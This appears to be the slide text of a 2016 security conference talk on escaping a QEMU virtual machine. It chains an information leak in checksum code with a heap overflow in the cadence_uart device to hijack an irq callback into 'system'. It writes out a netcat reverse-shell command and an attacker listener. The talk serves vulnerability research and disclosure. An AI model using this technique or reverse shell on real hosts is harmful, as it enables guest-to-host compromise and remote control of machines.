Breaking out of QEMU

Qiang Li & Zhibin Hu/Qihoo 360 Gear Team
Ruxcon 2016
Who are we

- Security researcher in Qihoo 360 Inc (Gear Team)
- Vulnerability discovery and analysis
- Specialize in QEMU currently
  - 50+ security issues, 33 CVE now
Agenda

- QEMU overview
- QEMU Device Model
- The bug and exploit
- Demo
QEMU Overview
QEMU overview

- Full system/User mode emulation
- Software emulation
- Accelerator such as KVM/XEN
QEMU overview

- The revival of virtualization
- Hardware support: Intel VT & AMD SVM
- QEMU for device emulation: KVM & Xen
QEMU overview

- QEMU is a user process
- QEMU’s virtual address space as Guest RAM
- QEMU’s thread as Guest vCPU
QEMU overview

- QEMU
- Guest
- Host kernel
QEMU Device Model
QEMU Device Model

- Most of the devices are software emulation based
- Guest is unaware of the underlying virtualization environment
- Many devices should be emulated, such as disk, network card, etc
QEMU Device Model

- PCI devices expose BAR (Base Address Register) to OS, QEMU provides this layer in device emulation.

- The guest OS interacts with the device by reading and writing to the BARs registered by the device. BAR R/W operations trap to the KVM and control is passed to QEMU.
Previously there has not been much consideration of vulnerabilities present in KVM

Data flow: Guest->QEMU

Guest data is untrusted and can be malicious
QEMU Device Model

- Two types of BARs: IO port && MMIO
- Malicious kernel module acts as a driver
- Read/write IO port/MMIO to trigger flaws
QEMU alloc the BARs and register read/write callback for emulation device
QEMU Device Model

- Device Model is the most attack surface
- The data flow is clear
- Review the code to discovery vulnerability
The bug and exploit
The bug and exploit

- Two vulnerabilities: information leak and heap overflow
- Not in the same device emulation code
- One is in cadence_gem and the other is in cadence_uart
The bug and exploit

The first vulnerability!
The bug and exploit

**CVE-2016-2857**

An out-of-bounds read-access flow was found in the QEMU emulator built with IP checksum routines. The flaw could occur when computing a TCP/UDP packet's checksum, because a QEMU function uses the packet's payload length without checking against the data buffer's size. A user inside a guest could use this flaw to crash the QEMU process (denial of service).

Find out more about CVE-2016-2857 from the MITRE CVE dictionary dictionary and NIST NVD.

- CVE-2016-2857 (Ling Liu of 360.cn)
- Actually, this is an information leak issue
- To bypass the ASLR
The bug and exploit

- ‘data’ points a packet
- ‘plen’ is the total length of the packet
- ‘plen’ is from guest and used to indicate buffer length
- unchecked ‘plen’ can lead out of band read

```c
void net_checksum_calculate(uint8_t *data, int length)
{
    ...
    hlen = (data[14] & 0x0f) * 4;
    plen = (data[16] << 8 | data[17]) - hlen;
    ...
    if (plen < csum_offset+2)
        return;
    csum = net_checksum_tcpudp(plen, proto, data+14+12, data+14+hlen);
    data[14+hlen+csum_offset] = csum >> 8;
    data[14+hlen+csum_offset+1] = csum & 0xff;
}
```
The bug and exploit

- TCP/UDP checksum calculation
- Add every 2 bytes to ‘sum’
- Get the checksum

```c
uint16_t net_checksum_finish(uint32_t sum) {
    while (sum>>16)
        sum = (sum & 0xFFFF)+(sum >> 16);
    return ~sum;
}
```
The bug and exploit

- ‘csumA’: one packet checksum

- ‘csumB’: the checksum contains the out-of-band data

- Deduce the byte ‘C’ from ‘csumA’ and ‘csumB’?
The bug and exploit

- The answer is: “Yes”

- Though it is not 100% precise, we have a method

\[
\text{tmp} = (\neg csumB \& 0xffff) - (\neg csumA \& 0xffff);
\]

\[
\text{byteC} = \text{tmp} > 255? (\text{tmp} >> 8) & 0xff: \text{tmp}-1;
\]
The bug and exploit

- The 'length' is never used
The bug and exploit

- The ‘tx_packet[2048]’ is in stack
- We can read very wide memory after ‘tx_packet[2048]’
- ASLR is bypassed
The bug and exploit

The second vulnerability!
The bug and exploit

```c
static void cadence_uart_init(Object *obj)
{
    SysBusDevice *sbd = SYS_BUS_DEVICE(obj);
    CadenceUARTState *s = CADENCE_UART(obj);

    memory_region_init_io(&s->iomem, obj, &uart_ops, s, "uart", 0x1000);
    sysbus_init_mmap(sbd, &s->iomem);
    sysbus_init_irq(sbd, &s->irq);
}

static void uart_write(void *opaque, hwaddr offset, uint64_t value, unsigned size)
{
    CadenceUARTState *s = opaque;
    offset >>= 2;
    switch (offset) {
    ...
    ...
    break;
    default:
        s->r[offset] = value;
    }
}
```

```c
#define CADENCE_UART_R_MAX (0x48/4)

typedef struct {
    /*< private >/*/
    SysBusDevice parent_obj;

    /*< public >/*/
    MemoryRegion iomem;
    uint32_t r[CADENCE_UART_R_MAX];
    uint8_t rx_fifo[CADENCE_UART_RX_FIFO_SIZE];
    uint8_t tx_fifo[CADENCE_UART_TX_FIFO_SIZE];
    uint32_t rx_wpos;
    uint32_t rx_count;
    uint32_t tx_count;
    uint64_t char_tx_time;
    CharDriverState *chr;
    qemu_irq irq;
    QEMUTimer *fifo_trigger_handle;
} CadenceUARTState;
```
The bug and exploit

- QEMU register a BAR of 0x1000, so guest can read/write this

- Guest write: *(pmmio + offset) = value

- The problem is here: s->r[offset] = value; overflow!
The bug and exploit

- Typical Heap overflow
- What can we overwrite?
- How to overwrite EIP?
- 'handler' is a call back with parameter 'opaque'
The bug and exploit

- Construct a new ‘irq’
- Write new ‘irq->handler’ and ‘irq->opaque’
- Overwrite ‘irq->CadenceUARTState’, the world is under our control
The bug and exploit

Put them together!
The bug and exploit

- The information leak in cadence_gem device and the heap overflow in cadence_uart device

Q1: How can we connect these two?

Q2: What EIP and argument should we use?
The bug and exploit

- QEMU allocates a struct ‘***State’ for every device, this happens very early, and will exist as the process running.

- ‘offset’ between ‘CadenceGEMState’ and ‘CadenceUARTState’ is always the same. This connects these two structs.
The bug and exploit

- Though we can write a lot of memory space. Most of these memory changed quickly. It’s difficult even find 50 stable bytes. ROP seems not viable.

- ret2libc
The bug and exploit

- Calculate ret function and find the ‘gem_transmit’ address and ‘CadenceGEMState’
The bug and exploit

- Get one address that call ‘system’ in qemu process address space

- Get the ‘CadenceUARTState’, we can construct our ‘irq’ after this struct
The bug and exploit

- Construct a ‘irq’ after ‘CadenceUARTState’
- Overwrite ‘CadenceUARTState->irq’ with the new one
The bug and exploit

exploit
The bug and exploit

- ‘handler’ ← address calls ‘system’ function
- ‘opaque’ ← ‘irq->parrent_obj’, this is the address of string passed to ‘system’
- ‘parent_obj’ ← the arg of ‘system’, in this: `nc -c /bin/sh 192.168.80.147 5555`
The bug and exploit

- Attacker
  ip: 192.168.80.161
  nc -l -p 5555 -v

- Victim
  ip: 192.168.80.157
  qemu-system-aarch64...-net nic,model=cadence_gem
The bug and exploit

Demo!
Summary

- Background: QEMU device model
- Vulnerabilities: Information leak & Heap overflow
- Exploit
Acknowledgements

- cyg07
- Au2o3t
Thank you

Qiang Li && Zhibin Hu/Gear Team, Qihoo 360 Inc

liq3ea@163.com
hzhibin@360.cn